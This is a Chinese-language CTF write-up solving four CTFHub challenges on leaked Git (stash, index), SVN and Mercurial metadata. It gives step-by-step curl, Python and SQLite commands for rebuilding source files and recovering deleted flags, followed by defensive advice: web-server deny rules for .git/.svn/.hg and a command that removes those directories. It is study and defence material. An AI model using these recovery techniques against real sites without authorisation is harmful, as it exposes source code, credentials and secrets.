版本控制信息泄露Git / SVN / HG 泄露CTFHub 题解目录一、漏洞背景与原理二、通用探测思路三、Git 泄露 —— Stash四、Git 泄露 —— Index五、SVN 泄露六、HGMercurial泄露七、修复与防御建议八、总结一、漏洞背景与原理现代 Web 开发中开发者普遍使用版本控制系统VCS管理代码并配合自动化部署把代码发布到线上。如果部署时直接把包含版本控制元数据的目录.git/.svn/.hg整体拷到服务器攻击者就能通过 HTTP 访问这些元数据进而还原出完整的源码、提交历史甚至已经被删除的敏感文件比如内含 flag 的旧版本。三类工具的元数据目录与核心数据工具元数据目录核心数据位置存储格式Git.git/.git/objects/、.git/refs/、.git/indexloose object / packSVN.svn/.svn/wc.db、.svn/pristine/SQLite .svn-base文件Mercurial.hg/.hg/store/*.i、.hg/dirstate、.hg/store/fncacherevlog共同危害泄露源码 → 审计出更多漏洞 → 泄露数据库凭据、密钥、甚至已删除的历史敏感信息。本文以 CTFHub 技能树「信息泄露」下的四道题为例分别对应 Git 的 stash、Git 的 index、SVN 泄露、HG 泄露逐步讲解手工利用过程。二、通用探测思路直接访问元数据入口判断是否存在泄露curlhttp://target/.git/HEAD# Gitcurlhttp://target/.svn/entries# SVNcurlhttp://target/.hg/requires# HG不要只盯着「当前分支/当前版本」——flag 往往藏在以下这些边角里版本控制容易漏掉的位置Gitrefs/stash、.git/index暂存区、reflog、ORIG_HEAD、FETCH_HEAD、dangling commitSVN.svn/pristine/已删除文件的旧版本基文件HG已删除文件的 revlog、store 路径编码后的文件优先使用现成工具GitHack、dvcs-ripper 等工具失效时手工解析元数据格式。三、Git 泄露 —— Stash题目Git 泄露flag 在 stash 里。目标http://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/3.1 探测curlhttp://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/.git/HEAD# ref: refs/heads/mastercurlhttp://challenge-29febdbd357aa04f.sandbox.ctfhub.com:10800/.git/COMMIT_EDITMSG# remove flag ← 提示 flag 被删了3.2 枚举其它引用关键只跟refs/heads/master走会漏掉 stash枚举一下forpinrefs/heads/master refs/stash ORIG_HEAD FETCH_HEAD logs/HEAD;docode$(curl-s-o/dev/null-w%{http_code}http://target/.git/$p)[$code200]echo$p$(curl-shttp://target/.git/$p)done# refs/stash e8530bc72d34a9fa3f82cab424d1d430d9bd597e发现refs/stash存在说明有人git stash过。3.3 恢复仓库并取 flag服务器是 dumb HTTPgit clone用不了、无 pack需要按哈希递归下载 loose 对象。恢复后用git show看 stashgitlog--all--oneline--graph# * aa458f5 (HEAD - master) remove flag# | * e8530bc (refs/stash) WIP on master: b97cced add flag# | * a63886c index on master: b97cced add flag# * b97cced add flag# * 9a6e719 initgitshow e8530bc# diff --cc 8230273932462.txt# --where is flag# ctfhub{a92a0ef374c4f4636c1f753c}Flagctfhub{a92a0ef374c4f4636c1f753c}四、Git 泄露 —— Index题目Git 泄露提示 Indexflag 在暂存区。目标http://challenge-b6a59c6c52fffbea.sandbox.ctfhub.com:10800/4.1 探测curlhttp://target/.git/HEAD# ref: refs/heads/mastercurlhttp://target/.git/COMMIT_EDITMSG# add flagCOMMIT_EDITMSG写着add flag看似 flag 在提交里其实文件只被git add进了暂存区、从未 commit。4.2 下载并解析.git/indexcurlhttp://target/.git/index-oindex hexdump-Cindex关键片段文件名以 ASCII 明文存储blob 哈希以 20 字节二进制紧跟其后00000070 00 00 00 00 00 00 00 21 d6 2d 23 17 33 cc 80 b7 |.......!.-#.3...| 00000080 4e f6 bc 20 88 72 83 09 02 6f df 4f 00 12 39 31 |N.. .r...o.O..91| 00000090 39 33 31 33 39 37 38 31 37 30 33 32 2e 74 78 74 |931397817032.txt|解析出 index 里有三个文件其中91931397817032.txt只在暂存区里其 blob 哈希为d62d231733cc80b74ef6bc2088728309026fdf4f4.3 按哈希下载 blobcurlhttp://target/.git/objects/d6/2d231733cc80b74ef6bc2088728309026fdf4f-oblob python3-cimport zlib; print(zlib.decompress(open(blob,rb).read()).decode())# blob 33 ctfhub{7d4d92325f16ec2d9d83301f}Flagctfhub{7d4d92325f16ec2d9d83301f}五、SVN 泄露题目信息泄露 - Subversionflag 在旧版本源码。目标http://challenge-5d9b532ce8b4ae0b.sandbox.ctfhub.com:10800/5.1 探测curlhttp://target/.svn/format# 12 → SVN 1.7 新格式用 wc.dbcurlhttp://target/.svn/entries# 12curl-o/dev/null-w%{http_code}http://target/.svn/wc.db# 2005.2 解析 wc.dbSQLiteimportsqlite3 csqlite3.connect(wc.db)c.row_factorysqlite3.Rowforrinc.execute(SELECT local_relpath, revision, presence, checksum FROM NODES):print(dict(r))forrinc.execute(SELECT * FROM PRISTINE):print(dict(r))结果 NODES {local_relpath: flag_5676395.txt, revision: 3, presence: not-present, ...} {local_relpath: index.html, revision: 1, presence: normal, ...} PRISTINE {checksum: $sha1$5581a6f97c2796f3a5c82220696e0b70aa74e394, size: 33, refcount: 0, ...}flag_5676395.txt的presence not-present说明已被删除PRISTINE 里size33、refcount0的孤儿基文件就是它33 字节 flag 长度。5.3 关键点pristine 路径拼接SVN 1.7 的 pristine 基文件路径.svn/pristine/sha1前2位/完整40位sha1.svn-base注意文件名是完整 40 位 SHA1很多人会想当然拼成去掉前两位的 38 位导致 404。sha15581a6f97c2796f3a5c82220696e0b70aa74e394curlhttp://target/.svn/pristine/${sha1:0:2}/${sha1}.svn-base-oflagcatflag# ctfhub{1945ebd74279e548c0372f52}Flagctfhub{1945ebd74279e548c0372f52}六、HGMercurial泄露题目信息泄露 - Mercurialflag 在旧版本源码工具不好使需手工。目标http://challenge-5c7c9a2c9fbee6dd.sandbox.ctfhub.com:10800/6.1 探测curlhttp://target/.hg/requires# dotencode/fncache/generaldelta/revlogv1/storecurlhttp://target/.hg/store/fncache# 受控文件清单curlhttp://target/.hg/dirstate# 工作副本状态fncache列出三个文件其中data/flag_757415441.txt.i是 flag 文件。dirstate里 flag 文件大小为0x21 33正好 flag 长度。6.2 解析 changelog提交历史Mercurial 用 revlog 格式.i是索引数据内联时紧跟索引条目zlib 压缩的以78 9c开头。定位解压importzlib dataopen(00changelog.i,rb).read()foriinrange(len(data)-1):ifdata[i]0x78anddata[i1]in(0x01,0x9c,0xda,0x5e):try:print(i,zlib.decompress(data[i:]).decode())except:pass得到两个提交init50x.html index.html、add flag新增 flag_757415441.txt。6.3 关键点①store 路径编码_→__按 fncache 的路径直接下载会 404curlhttp://target/.hg/store/data/flag_757415441.txt.i# 404因为 Mercurial 的 store 会把文件名里的下划线_编码成双下划线__实际路径是curlhttp://target/.hg/store/data/flag__757415441.txt.i-oflag.i# 2006.4 关键点②revlog 数据格式flag.i共 98 字节 64 字节索引条目 34 字节内联数据。内联数据第一个字节0x75字符u是未压缩标记后面紧跟文件内容dataopen(flag.i,rb).read()print(repr(data[64:]))# buctfhub{988b88e848fa42a6c174b004}\n去掉u标记即 flag。Flagctfhub{988b88e848fa42a6c174b004}七、修复与防御建议1. 部署时导出干净源码不要直接拷贝工作目录gitarchive--formattar HEAD|(cd /var/wwwtarxf -)# Gitsvnexporthttps://svn.example.com/repo /var/www# SVNhgarchive /var/www# Mercurial2. Web 服务器禁止访问版本控制目录Nginxlocation ~ /\.(git|svn|hg) { deny all; }ApacheDirectoryMatch /\.(git|svn|hg)/ Require all denied /DirectoryMatch3. 上线前删除元数据目录find/var/www-typed\(-name.git-o-name.svn-o-name.hg\)-execrm-rf{}4. 敏感信息不要进版本库即使用git rm/svn delete删掉历史/stash/暂存区里仍可被还原。密钥、密码等应使用环境变量或外部密钥管理系统不要提交到代码库。5. 定期做暴露面扫描用 dirsearch / ffuf 等工具扫描.git、.svn、.hg、.DS_Store等敏感路径。八、总结本文通过 CTFHub 的四道题系统梳理了 Git / SVN / HG 三类版本控制泄露的原理与利用思路。核心要点别只盯当前版本Git 的stash、index、reflogSVN 的pristineHG 的 revlog都是 flag 的高发藏身处。工具失效要会手工Git 的 loose object 递归下载、SVN 的wc.db pristine 路径、HG 的 revlog 内联数据解析都值得掌握。元数据编码要留心SVN pristine 文件名是完整 SHA1、HG 的_→__编码是两道常见的手工卡点。四题 Flag 汇总题目FlagGit Stashctfhub{a92a0ef374c4f4636c1f753c}Git Indexctfhub{7d4d92325f16ec2d9d83301f}SVN 泄露ctfhub{1945ebd74279e548c0372f52}HG 泄露ctfhub{988b88e848fa42a6c174b004}安全提示本文仅供学习交流请勿用于未授权测试。
